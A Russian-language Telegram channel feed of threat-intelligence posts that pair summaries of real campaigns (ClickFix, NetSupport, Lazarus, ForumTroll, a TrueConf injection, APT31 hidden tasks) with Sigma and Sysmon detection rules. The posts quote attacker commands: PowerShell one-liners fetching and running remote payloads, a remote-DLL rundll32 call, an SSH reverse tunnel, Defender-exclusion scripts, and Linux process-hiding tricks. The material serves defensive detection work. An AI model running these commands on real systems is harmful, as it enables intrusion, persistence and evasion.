Detection is easy
1.03K subscribers
71 photos
2 videos
8 files
176 links
Download Telegram
Всем привет! 💻✌️

У многих на слуху DFIR/TH инструмент Velociraptor 🦖. Он позволяет централизованно собирать артефакты, события из журналов и много чего еще, а также выполнять команды

Приложение является клиент-сервером, клиенты устанавливаются в роли службы с правами root или system

Виндовый клиент еще подписан - rapid7

Сложилось все, чтобы Velociraptor попал в категорию RMM (Remote monitoring and management) и стал использоваться хакерами в атаках

Solar упоминали об этом еще в 2024 году
Rapid7 дали рекомендации по обнаружению

🔭 Обнаружение:

🔤 по метаинформации файла


Description: Velociraptor: Digging Deeper!
Product: Velociraptor
Company: Rapid 7 Inc
OriginalFileName: Velociraptor.exe


🔤 при первом запуске создается ключ в реестре HKLM\System\CurrentControlSet\Services\EventLog\Application\Velociraptor

🔤 отслеживаем аргументы -ExecutionPolicy Unrestricted -encodedCommand команды выполняются в следующем виде, если артефакт powershell и команда dir


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -encodedCommand ZABpAHIA


для cmd


cmd.exe /c dir


🔤 Rapid7 предложило Sigma-правило, в котором отслеживаются аргументы командой строки


selection_velociraptor:
Image|endswith: '\Velociraptor.exe'
selection_suspicious_args:
CommandLine|contains:
- "--config"
- "client.config.yaml"
- "service run"
selection_unsigned:
Signature|endswith:
- "Unsigned"
condition: selection_velociraptor and (selection_suspicious_args or selection_unsigned)


🔤 также во время работы создаются два файла с расширениями yaml и yaml.bak

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍2🤔2
Всем привет! 💻✌️

Давайте познакомимся с TTP Mysterious Elephant, замеченную в атаках против госструктур Южной Азии

Исследователи Kaspersky GReAT описали инструменты группы, включающие собственные загрузчики и модули эксфильтрации

🔤 Атаки начинаются с фишинга (ранее использовалась уязвимость CVE-2017-11882)

🔤 Powershell-скрипт для скачивания полезной нагрузки через curl/certutil и создание задач в Task Scheduler

🔤BabShell — C++ реверс-шелл, выполняет команды в отдельных потоках, сохраняет логи в output_*.txt, с antisandbox

🔤 MemLoader (HidenDesk / Edge) — PE-загрузчик с antisandbox

🔤 Модули эксфильтрации
Uplo — поиск документов и отправка (txt, .doc, .docx, .pdf, .xls, .xlsx, .csv, .ppt, .pptx, .zip, .rar, .7z, .pfx, .vcf, .jpg, .jpeg и .axx)

Stom — поиск документов (pdf, .docx, .txt, .jpg, .png, .zip, .rar, .pptx, .doc, .xls, .xlsx, .pst и .ost.) и сбор и сбор данных из WhatsApp Desktop 🛑 %AppData%\\Packages\\xxxxx.WhatsAppDesktop_[WhatsApp ID]\\LocalState\\Shared\\transfers\\

ChromeStealer — кража cookie и сессий Chrome

🔭 Обнаружение:

🔤 создание файлов с именами системных утилит, например c:\ProgramData\Intel\ping.exe

🔤 загрузка файлов через curl.exe, в отчете используется curl.exe.exe что может обойти правила обнаружения с конструкцией endswith curl.exe или аналогичной, но должно отработать правило на двойное расширение

🔤 создание задач через schtasks.exe, которая запускается по XPath-выражению, а не в определенное время

🔤 использование Invoke-RestMethod, Invoke-WebRequest

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥112
DE Q3 2025.pdf
50.7 MB
Всем привет! 💻✌️
Продолжаем серию журналов теперь за Q3
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍3🤔2
Всем привет! 💻✌️

В 2023 зашифровали компанию Capita Group, а сейчас поделились отчетом о возможных причинах, которые привели к этому

Может кто-то узнает тут себя...

🔤 Алерты обрабатывались неправильно или им не уделялось должного внимания
Первый вредоносный файл (jdmb.js) вызвал оповещение уровня P2 (высокий уровень) в 08:00 22 марта 2023 года, что указывало на получение доступа

🔤 Чрезмерная задержка между обнаружением инцидента и его локализацией, а также отсутствие автоматизации
Для изоляции устройства от остальной сети Capita по-прежнему требовалось вмешательство человека, на которое ушло 58 часов.
У SOC Capita не было возможности изолировать устройство автоматически. К тому времени злоумышленник уже получил доступ к администратору домена и начал горизонтальное перемещение

🔤 Неэффективные процессы реагирования на инциденты
Компания Capita начала процесс реагирования на инцидент только в 09:22 29 марта 2023 года, то есть через семь дней после взлома.
К тому моменту уже началась утечка данных, а до развертывания шифровальщика оставалось два дня.

🔤 Нехватка персонала и чрезмерная нагрузка на команду SOC
Известно, что на момент инцидента в марте 2023 года в Capita работал один аналитик SOC в смену. Это, в сочетании с низкой эффективностью в прошлом, указывает на системные проблемы в SOC, в том числе на нехватку персонала, недостаточную подготовку и/или неэффективные процессы.


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥10🍌1
Всем привет! 💻✌️

Давайте познакомимся с отчетом Google TI

Атака начинается с фишинга — ClickFix (Fake Captcha)
Атакующие предлагают жертве выполнить удалённую DLL

rundll32.exe \\Ninspectguarantee.org\check\iamnotarobot.dll,humanCheck ;l'am not a robot


DLL используется для загрузки следующего этапа

Отличительные особенности:

🔤 Установка Python для запуска скриптов
🔤 Регистрация собственного расширения в реестре для хранения части ключа шифрования


reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\.pietas" /v "ratio" /t REG_BINARY /d "f5e210ec114e1992b81ff89be58cfb2778005f734972239b9655b23fcee5593f19554d0a74dad52c67956781367b06e6" /f


🔤 Закрепление через планировщик задач


powershell -c "
$s = New-Object -ComObject Schedule.Service;
$s.Connect();
$t = $s.NewTask(0);
$p = $t.principal;
$p.logontype = 3;
$p.RunLevel = 0;
$a = $t.Actions.Create(0);
$a.Path = \"$env:APPDATA\Python38-64\pythonw.exe\";
$a.Arguments = \"$env:APPDATA\Python38-64\Lib\libsystemhealthcheck.py\";
$a.WorkingDirectory = \"$env:APPDATA\Python38-64\";
$tr = $t.Triggers.Create(9);
$tr.userID = \"$env:computername\"+\"\\\"+\"$env:username\";
$tr.enabled = $true;
$s.GetFolder(\"\").RegisterTaskDefinition(\"System health check\", $t, 6, $null, $null, 0) | Out-Null;"


🔤 Использование bitsadmin для загрузки .py-скриптов через BITS


🔭 Обнаружение:

🔤 Описание аномалий подсистемы BITS в моей статье на хакере и в PR
🔤 Запуск DLL с удалённых ресурсов


ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image endswith "rundll32.exe" and CommandLine match "^\s*\\\\" and CommandLine match "\.dll,"



ProviderName="Microsoft-Windows-Sysmon" and EventId=22 and Image endswith "rundll32.exe" and QueryName not match "^(?:[A-Za-z0-9-]+\.)*(?:company\.com|company\.loc|corp\.local)$"


🔤 Добавление новых расширений в ключ реестра HKEY_CURRENT_USER\SOFTWARE\Classes\


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12
Всем привет! 💻✌️

Lazarus использует интересный способ создания вредоносных DLL, который описан в отчете ESET - злоумышленники внедряют код в open-source проекты и используют их как proxy-dll

Вероятно, open-source проекты используются в качестве легитимной обёртки для обхода средств хостовой защиты 🤔

🔭 Обнаружение:

🔤 отслеживаем загрузку DLL не из стандартных директорий

ProviderName="Microsoft-Windows-Sysmon" and EventId=7 
and Image endswith "wksprt.exe"
and ImageLoaded endswith "\webservices.dll"
and not ImageLoaded startswith "c:\windows\system32\"
and not ImageLoaded startswith "c:\windows\syswow64\"

ProviderName="Microsoft-Windows-Sysmon" and EventId=7 
and Image endswith "\wkspbroker.exe"
and ImageLoaded endswith "\radcui.dll"
and not ImageLoaded startswith "c:\windows\system32\"
and not ImageLoaded startswith "c:\windows\syswow64\"


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
Всем привет! 💻✌️

Очередная атака начинается с фишинга ClickFix для доставки RMM NetSupport

Пользователям предлагается выполнить одну из команд:


"PowerShell.exe" -w h -nop -ep Bypass -c "$S='hxxps://riverlino[.]com/U.GRE';$j=$env:TEMP+'\1.ps1';(New-Object Net.WebClient).DownloadFile($S,$j);powershell -f $j"



"PowerShell.exe" -w h -nop -c "&('iex') (New-Object IO.StreamReader([Net.WebRequest]::Create('https://xunira[.]cloud/C[.]GRE').GetResponse().GetResponseStream())).ReadToEnd()"


В отчете отлично расписан функционал загружаемого PS1:

🔤Декодированние base64 и преобразование его в JSON.
JSON устроен интересно ключ - это список в котором каждая запись содержит два ключа имя файла и содержимое файла в base64, например:


{"MLh0b": [{"Heg": "client32.exe", "VnZv":"TVqQAAMAA"}]}


🔤Создает скрытый системный каталог для дропера в C:\Users\Public\{\w\d+}
🔤Декодириует ключи JSON и записывает в скрытую папку
🔤Закрепляется с помощью ярлыка в папке %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
🔤Проверяет, что все файлы, связанные с NetSupport, успешно записаны на диск
🔤Запускает клиент NetSupport, в данном случае он называется client32.exe

В другой кампании у PS1 появился функционал антифорензики - удаление ключей RunMRU


Remove-ItemProperty -Path- 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name * -ErrorAction SilentlyContinue


🔭 Обнаружение:

🔤 Обнаружение командлетов Powershell Get-Random, FromBase64String, System.Text.Encoding, Attributes, Wscript.Shell, CreateShortcut

🔤 Создание файлов и директорий в C:\Users\Public\ , в исключение можно добавить explorer.exe

🔤 создание скриптами файлов в %APPDATA%\Microsoft\Windows\Start

🔤 удаление ключей реестра из HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

P.S. не замечал в других отчетах рекомендации по отключению диалогого окна Выполнить

User Configuration > Administrative Templates > Start Menu and Taskbar > Enable “Remove Run menu from Start Menu”


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥72
Всем привет! 💻✌️

Коллеги из ЛК обнаружили шпионскую кампанию, которая использовала 0-day уязвимость в браузере Chrome - позволяет выполнить код за пределами песочницы

🔤Атака начинается с фишингового письма, которое побуждает пользователя перейти по ссылке
🔤После перехода веб-сайт валидировал пользователя и запускал эксплойт
🔤Если пользователь подтверждался валидатор обменивается ключами с C2-сервером и расшифровывает следующий этап, который скрыт в запросах к файлам шрифтов bootstrap.bundle.min.js и .woff2
🔤Эксплойт позволяет получить дексриптор потока браузера, и выполнить вредоносный код в процессе браузера
🔤Следующий этап для закрепления использовал технику COM hijacking - HKCU\Software\Classes\CLSID\{AA509086-5Ca9-4C25-8F95-589D3C07B48A}\InProcServer32 - %AppData%\...\twinapi.dll

🔭 Обнаружение:

🔤 у sigma есть правило для обнаружения загрузки DLL не из системных путей
🔤 отслеживать изменение значений в ключах реестра HKCU\Software\Classes\CLSID\*\InProcServer32

p.s. разработчики firefox выявили схожую закономерность в своем IPC-коде и выпустили обновление под CVE-2025-2857

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8👍2🤔2
Всем привет! 💻✌️

Продолжим разбор шпионской кампании ForumTroll
Атакующие использовали шпионское ПО LeetAgent - его команды написаны Leet стилем:

🔤 0xC033A4D - COMMAND
🔤 0xECEC - EXEC
🔤 0x6E17A585 - GETTASKS

У ВПО есть функционал кейлоггера и стиллера для документов - *.doc, *.xls, *.ppt, *.rtf, *.pdf, *.docx, *.xlsx, *.pptx

Для хостинга C2 использовалась инфраструктура, задействующая Fastly.net

Исследователям удалось атрибутировать кампанию и откатить её активность как минимум до 2022 года. Векторы распространения — фишинг

🔤 Балтийский_Вектор_2023.iso
🔤 DRIVE.GOOGLE.COM (исполняемый файл)
🔤 Приглашение_Россия-Беларусь_крепкое_партнёрство_2024.lnk

Также удалось обнаружить схожую кампанию:
🔤 SCAN_XXXX_<DATE>.pdf.lnk
🔤 <DATE>_winscan_to_pdf.pdf.lnk
🔤 Ростелеком.pdf.lnk

По набору ТТП исследователи подтвердили связь между операциями. В рамках кампании был обнаружен коммерческий вредонос Dante

Dante имеет большой набор проверок на запуск в песочнице,
но из всех выделяется проверка строк в журналах событий Windows

Вредонос проверяет строки связанные с виртуальными машинами и утилитами для реверса

У каждой жертвы Dante есть infection-GUID на основе которого формируется имя директории для хранения остальных модулей и ключ реестра для настроек.

Папка с модулями Dante расположена в %LocalAppData%. Ее имя представляет собой строку в Base64 длиной в восемь байт. В ней содержатся файлы без расширений с именами в виде строк в Base64 длиной в восемь байт. Имя одного из файлов совпадает с именем папки. Эту информацию можно использовать для того, чтобы идентифицировать активные заражения.

В реестре встречается ключ: HKCU\Software\Classes\.zdmtnd\OpenWithProgids - zdmtnd - часть от Base64(GUID)

🔭Обнаружение:

🔤 хантим названия директорий (?:\w\d){8} и увеличиваем критичность, если внутри файл с таким же именем
🔤 проверяем ключи реестра на наличие аномалий HKCU\Software\Classes\.zdmtnd\OpenWithProgids, где имя расширения/ключа выглядит как Base64-строка

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥74
Всем привет! 💻✌️

Давайте познакомимся с TTP атакующих, которые получают доступ эксплуатируя уязвимость в TrueConf

🔤Успешная эксплуатация уязвимости позволяет выполнить инъекцию аргументов в командную строку процесса C:\Program Files\TrueConf Server\httpconf\bin\tc_webmgr.exe

Инъекция команды (успешная эксплуатация BDU:2025-10116, признак эксплуатации):


cmd.exe /s /c "“C:\Program Files\TrueConf Server\tc_server.exe” /mode:1 /ServerID:a /ServerName:aaa1111#vcs /Serial:||powershell -c "..."|| /File:"D:\TrueConf\activation\offlinereg.vrg""


🔤Атакующие закрепляются через создание локального пользователя (audit, audit1) и создание сервиса C:\Windows\System32\dfxhost.dll с именем SscpSvc

🔤Создают ssh-туннель. Подключение идет на 443 порт сервера атакующих, позволяет пройти межсетевой без функций NGFW

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 39433 -p 443 ...@...

🔭 Обнаружение:

🔤 создание локальных пользователей
🔤 наличие подозрительных строк в аргументах tc_webmgr.exe


logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: "\cmd.exe"
selection_child:
Image|endswith: "\tc_server.exe"
CommandLine|contains:
- '||'
- '&&'
- 'powershell'
- 'pwsh'
- 'wscript'
- 'cscript'
- 'sh'
- 'bash'
- 'reg'
- 'regsvr32'
- 'bitsadmin'
- 'mshta'
- 'rundll32'
- 'curl'
condition: all of selection*


🔤
Журнал ошибок веб-сервера TrueConf также может содержать признаки эксплуатации (пример пути: C:\TrueConf\web_logs\error.*.log): error: the required argument for option '--Serial' is missing
Важно: указанная выше строка является однозначным признаком попытки эксплуатации уязвимости (инъекция команды через аргумент /Serial), однако возможно появление эксплоитов, где до инъекции указывается корректный ключ активации.



#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73👍3🤔1
Всем привет! 💻✌️

Атакующие часто маскируют вредоносы под легитимные системные процессы, подменяя своё отображаемое имя через argv[0]

Пример можно найти в отчете

👨‍💻 Как это может работать?

🔤Процесс запускается как /tmp/.malware
🔤При старте проверяет argv[0]
🔤Если имя не совпадает с ожидаемым - перезапускает себя через execve с поддельным argv[0], например: /usr/lib/systemd/systemd-update

В результате ps, top, htop отображают процесс как легитимный, скрывая его реальное расположение.

💀 Простой пример:

#define _GNU_SOURCE
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[], char *envp[]) {
const char *fake = "/usr/lib/systemd/systemd-update";
if (strcmp(argv[0], fake) != 0) {
char *new_argv[] = { (char *)fake, NULL };
execve("/proc/self/exe", new_argv, envp);
}
while(1) sleep(60);
}


argv[0] — это первый элемент массива, который передается при вызове функции execve

Для проверки можно использовать скрипт:

for pid in /proc/[0-9]*; do
exe=$(readlink "$pid/exe" 2>/dev/null)
cmdline=$(tr '\0' ' ' < "$pid/cmdline" 2>/dev/null)
if [[ -n "$exe" && -n "$cmdline" ]]; then
exe_name=$(basename "$exe")
cmd_name=$(echo "$cmdline" | cut -d' ' -f1 | xargs basename 2>/dev/null)
if [[ "$exe_name" != "$cmd_name" ]]; then
echo "SUSP: PID $(basename $pid) | exe=$exe | cmdline=$cmdline"
fi
fi
done


Если атакующие удалят файл, то в конце вывода readlink /proc/207349/exe будет (deleted)

#dfir@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥84👍1
Всем привет! 💻✌️

Продолжим знакомство с техниками сокрытия процессов - пример можно найти в отчете, а описание метода тут

👨‍💻 Атакующие могут спрятать вредоносный процесс, выполнив bind монтирование:


mount --bind /proc/<легитимный_PID> /proc/<вредоносный_PID>


После этого ps, ls /proc и другие утилиты не будут показывать вредоносный процесс

Давайте запустим вредоносный процесс ping localhost


root 8765 0.1 0.4 14408 8604 ? Ss 18:20 0:00 \_ sshd: root@pts/2
root 8771 0.5 0.3 13364 7204 pts/2 Ss 18:20 0:00 \_ -zsh
root 8963 0.0 0.1 7340 2532 pts/2 SN 18:21 0:00 \_ ping localhost


Его PID - 8963
Создадим директорию /tmp/hidden и примонтируем ее в /proc/8963


mount --bind /tmp/hidden /proc/8963


В результате выполнения ps -auxfww мы не увидим PID нашего процесса


root 8765 0.0 0.4 14408 8704 ? Ss 18:20 0:00 \_ sshd: root@pts/2
root 8771 0.5 0.3 13708 7792 pts/2 Ss 18:20 0:01 \_ -zsh
root 9159 0.0 0.1 9908 3240 pts/2 R+ 18:24 0:00 \_ ps -auxfww


🔭 Для обнаружения:
🔤 можем проверить вывод mount | grep /proc


/dev/vda1 on /proc/8963 type ext4 (rw,relatime,errors=remount-ro)


🔤 еще одним тригером может быть отсутствие структуры директорий /proc/PID. В моем случае директория пустая

Можем ли мы смонтировать структуру другого процесса, например dockerd? 🧐
Проверим что, там действительно dockerd

# readlink /proc/469/exe


/usr/bin/dockerd


Выполним монтирование


mount --bind /proc/469 /proc/8963


Проверим вывод ps -auxfww


root 469 0.0 3.8 1897816 76868 ? Ssl Oct22 3:34 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 469 0.0 3.8 1897816 76868 ? Ssl Oct22 3:34 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock


Теперь у нас два процесса с одинаковым PID - 469

🔤 можем использовать для охоты наличие одинаковых PID, но в выводе mount следы также остаются

#dfir@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥92👍2
Всем привет! 💻✌️

Давайте рассмотрим технику, которой атакующие часто пользуются для подмены поведения процессов и сокрытия активности — LD_PRELOAD

В этом отчете хакеры модифицировали поведение юнита systemd - rsyslog.service

👨‍💻 Как это работает?

Systemd читает unit-файлы и drop-in-файлы из стандартных директорий, например:

🔤/etc/systemd/system/*
🔤/lib/systemd/system/*
🔤/run/systemd/system/*
🔤/usr/lib/systemd/system/*
🔤~/.config/systemd/user/*

Атакующие создали папку unintname.d - rsyslog.service.d, и файл с расширением .conf


[Service]
Environment='LD_PRELOAD=libnsan.so'


🔭 Обнаружение:

🔤 одним из способов для хантинга можно проверить содержимое /proc/*/environ


grep -ai "LD_PRELOAD" /proc/*/environ


🔤 можем увидеть путь к подозрительным библиотекам в /proc/PID/maps


7f161cc04000-7f161cc05000 r--p 00000000 fe:01 31256 /usr/lib/systemd/system/rsyslog.service.d/libnsan.so
7f161cc05000-7f161cc06000 r-xp 00001000 fe:01 31256 /usr/lib/systemd/system/rsyslog.service.d/libnsan.so
7f161cc06000-7f161cc07000 r--p 00002000 fe:01 31256 /usr/lib/systemd/system/rsyslog.service.d/libnsan.so
7f161cc07000-7f161cc08000 r--p 00002000 fe:01 31256 /usr/lib/systemd/system/rsyslog.service.d/libnsan.so
7f161cc08000-7f161cc09000 rw-p 00003000 fe:01 31256 /usr/lib/systemd/system/rsyslog.service.d/libnsan.so


🔤 похантить наличие переменной LD_PRELOAD в /etc/profile, /etc/profile.d/*, /etc/environment, ~/.*rc, ~/.profile

p.s. отличная статья про поиск ld_preload

#dfir@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3
Всем привет! 💻✌️

Давайте познакомимся с отчетом коллег из Esentire

👨‍💻 Как это работает?

ClickFix используется для доставки двух нагрузок: NetSupport Manager и Amatera Stealer

🔤Для доставки используется ClickFix, цель которого установить RMM - NetSupport Manager и Amatera Stealer

🔤В качестве нагрузки ClickFix используется mshta.exe, который запускает цепочку powershell-скриптов:


powershell.exe -nopROfi -ExEC UnRESTrictED -WINDOWSTYI HiD -ENc <BASE64>

powershell.exe -ENC <BASE64>

powershell.exe -NoProfile -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command <COMMAND>


Исследователи отмечают использование строки AMSI_RESULT_NOT_DETECTED как ключа для bxor и последующую перезапись функции AmsiScanBuffer.

🔤Результат цепочки скриптов - запуск .NET-based Downloader, который загружает, расшифровывает и запускает нагрузку с MediaFire

🔤Перед установкой NetSupport проверяется, принадлежит ли компьютер к домену, и есть ли на нем интересные файлы

🔭 Обнаружение и хантинг:

🔤 отслеживаем резолв mediafire.com
🔤 отслеживаем командлеты и строки в Powershell GetMappedFileName, clr.dll, ReadProcessMemory, PAGE_EXECUTE_READWRITE, WriteProcessMemory, AMSI_RESULT_NOT_DETECTED
🔤 поиск белых адресов в командлетах powershell
🔤 создание подозрительных ключей в HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8
Всем привет! 💻✌️

У The DFIR Report вышел новый отчет по кампании Lynx Ransomware

👨‍💻 Как это работает?

🔤Атака начинается со входа по RDP, при этом нет признаков брутфорса — злоумышленники используют уже валидные учётные данные
🔤Через несколько минут после получения доступа атакующие авторизовались на контроллере домена, используя учетную запись администратора
🔤Для закрепа создали несколько учетных записей и добавили их в админы домена
🔤Злоумышленники провели разведку сети: обнаружили виртуализацию и сетевые шары
🔤Чувствительные файлы были упакованы в архивы через 7-Zip и загружены на temp.sh
🔤На серверах резервного копирования были удалены задания бекапов и запущен Lynx Ransomware

Отдельно стоит отметить использование SoftPerfect Network Scanner

🔭 Обнаружение и хантинг:

🔤 добавление новых пользователей в привилегированные группы
🔤 создание учеток с атрибутом USER_DONT_EXPIRE_PASSWORD
🔤 создание файла netscan* - можем похантить в mft и usn
🔤 авторизации с белых адресов, LogonType 10 и 3
🔤 для YARA можем использовать строку из лицензионного файла SoftPerfect Network Scanner - network-scanner-license
🔤 обнаружение файлов с именем delete.me, которые NetScan создает при проверке записи в сетевых шарах. можем похантить в mft и usn
🔤запуск процесса с метаданными


Product: Network Scanner
Description: Application for scanning networks


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8
Всем привет! 💻✌️

Обнаружена уязвимость CVE-2025-11001 в 7-Zip, позволяющая записывать файлы в произвольные места системы при распаковке архивов. Активно используется в фишинговых кампаниях

👨‍💻 Давайте посмотрим как работает:

🔤Злоумышленник создает специальный архив с символической ссылкой
🔤При распаковке 7-Zip создает ссылку на произвольную директорию (например, C:\Windows\System32)
🔤Файлы из архива записываются по пути ссылки, а не в папку архива (все файлы расположенные в папке с именем симлинка)
🔤Пользователь увидит остальные файлы (не расположенные в папке с именем симлинка)

🔭 Обнаружение:

🔤 обнаруживаем создание файлов процессом 7z*.exe, в подозрительных путях C:\Windows\, С:\Users\*\AppData\, C:\Program Files*\ и с опасными расширениями

🔤 анализируем несоответствие путей, отслеживаем создание файлов с разными путями одним процессом 7z*.exe
Можем брать,например, второй элемент списка из путей и сравнивать их

p.s. оба правила будут фолсить, дополнительно можем проверять, что у архива есть ADS с ZoneId, и если проведена инвентаризация - версию 7z

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
Всем привет! 💻✌️

Коллеги из PT рассказали про фишинговую кампанию NetMedved, цель которой - установить NetSupport Manager

👨‍💻 Разберём интересный момент: в LNK вынесены проверки на выполнение в песочнице. Обычно такие проверки встречаются на 2–3 этапе, но здесь они — сразу в LNK.

🔤 жертвам рассылаются письма с вложенными архивами

🔤 в архиве находятся: LNK, DOCX и PDF — документы маскируются под деловую переписку российских компаний.

🔤LNK файл выполняет проверки на antisandbox:

проверка процессов для анализа программ


Get-Process | Where-Object {$_Name -match 'filemon|regmon|procexp|procexp64|t cpview|tcpview64|Procmon|Procmon64|vmmap|vmmap64|portmon|processlasso|Wireshark|Fiddler|ida|ida64|ImmunityDebugger|WinDump|x64dbg|x32dbg|OllyDbg|ProcessHacker'})


проверка логических процессоров


((Get-CimInstance Win32_Processor).NumberOfLogicalProcessors -lt 2)


проверка разрешения экрана


([System.Windows.Forms.Screen]:PrimaryScreen.Bounds.Width -lt 800) -or ([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height -lt 600))


🔤 Если проверки пройдены успешно, то создается ps1-файл в LocalAppData с именем сгенерированного GUID


$etdvmovzr = (Get-Item Env:LocalAppData).Value+\'+([guid]:NewGuid())+'.pS1';


🔤с удаленного ресурса загружается ps1-нагрузка и записывается в созданный GUID-файл. Запуск скрипта


irm 'metrics-strange.com/c626b76039054fe7899.ps1' > $etdvmovzr;saps 'powershell' -ArgumentList ('-NoProfile"'-ep"'bypass"."-WindO'HIDD':-File' $etdvmovzr); exit O }"


🔭 Обнаружение:

🔤 отслеживаем создание LNK-файлов в %temp%


ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename contains "\AppData\Local\Temp\" and TargetFilename endswith ".lnk"


🔤 отслеживаем аргументы powershell PrimaryScreen.Bounds.Width, PrimaryScreen.Bounds.Height, 'filemon|regmon|procexp|procexp64|tcpview|tcpview64|Procmon|Procmon64|vmmap|vmmap64|portmon|processlasso|Wireshark|Fiddler|ida|ida64|ImmunityDebugger|WinDump|x64dbg|x32dbg|OllyDbg|ProcessHacker'

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥8👍2
Всем привет! 💻✌️

Коллеги из PT рассказали про фишинговую кампанию NetMedved, цель которой - установить NetSupport Manager, в прошлый раз мы рассмотрели LNK-файл, сегодня давайте остановимся на NetSupport Manager

🔭 Обнаружение:

🔤 для работы создается служба Client32 с файлом *\NetSupport\NetSupport Manager\client32.exe

🔤 отслеживаем создание процессов с метаданными


Product: NetSupport Remote Control
Company: NetSupport Ltd

🔤 можем похантить файлы NSM.LIC и NSM.ini

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍2
Всем привет! 💻✌️

PT выпустили описание техник APT31, которые активно используют скрытые задачи планировщика Windows

Для создания скрытой задачи необходимо удалить файл XML и ключ реестра SD (SecurityDescriptor) соответствующей задачи:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TEST_TASK" /v SD /f

del %SystemRoot%\System32\Tasks\TEST_TASK /f


🔭 Обнаружение :

🔤 следим за удалением ключей реестра

ProviderName="Microsoft-Windows-Sysmon" and EventId = 12 and EventType = "DeleteValue" and TargetObject = "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*\SD"


p.s. следует проверить конфиги средств сбора событий и DACL на куст реестра

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥6👍3
Всем привет! 💻✌️

Давайте разберем способы обхода обнаружения, которые применялись в фишинговой кампании

👨‍💻 Посмотрим TTP:

🔤Атака начинается с ClickFix (имитируется обновление системы: синий экран с процентами - всё привычно), в результате чего запускается удалённый скрипт через mshta.exe

🔤Приложение hta запускает powershell.exe с командлетами iex (irm https://example.com/asf)

🔤Теперь самое интересное. Скачанный ps1 начинает свою работу с повышения привилегий (UAC) и добавления исключений в Windows Defender


$uQVLE622ThHArk = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
$uQVLE622ThHArk +=
"; Add-MpPreference -ExclusionPath '$env:WINDIR"
$uQVLE622ThHArk +=
; Add-MpPreference -ExclusionPath '$env: TEMP"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env: USERPROFILE"
$uQVLE622ThHArk +=
Add-MpPreference -ExclusionPath '$env:APPDATA"
$uQVLE622ThHArk += ";
Add-MpPreference -ExclusionPath '$env: LOCALAPPDATA"
$uQVLE622ThHArk += "; Add-MpPreference -ExclusionIpAddress '178.16.55.189', '94.154.35. 25'


🔤Для повышения привилегий атакующие запускают powershell.exe с аргументом -Verb RunAs


$aXNXjSqHUpLoYk = Start-Process powershell.exe
-ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass - Command
`$ErrorActionPreference='Stop'; $uQVLE622ThHArk" `
-Verb RunAs `
-PassThru


И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии

🔤Последним этапом идёт установка RAT или стилера

🔭 Обнаружение:

🔤 отслеживаем аргументы powershell Add-MpPreference, Set-MpPreference, -Exclusion*

🔤 отслеживаем создание новых значений в ключах реестра HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\

🔤 отслеживаем события
ProviderName = "Microsoft-Windows-Windows Defender/Operational" AND EventId=5007 AND NewValue contains "Microsoft\Windows Defender\Exclusions"

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥82👍1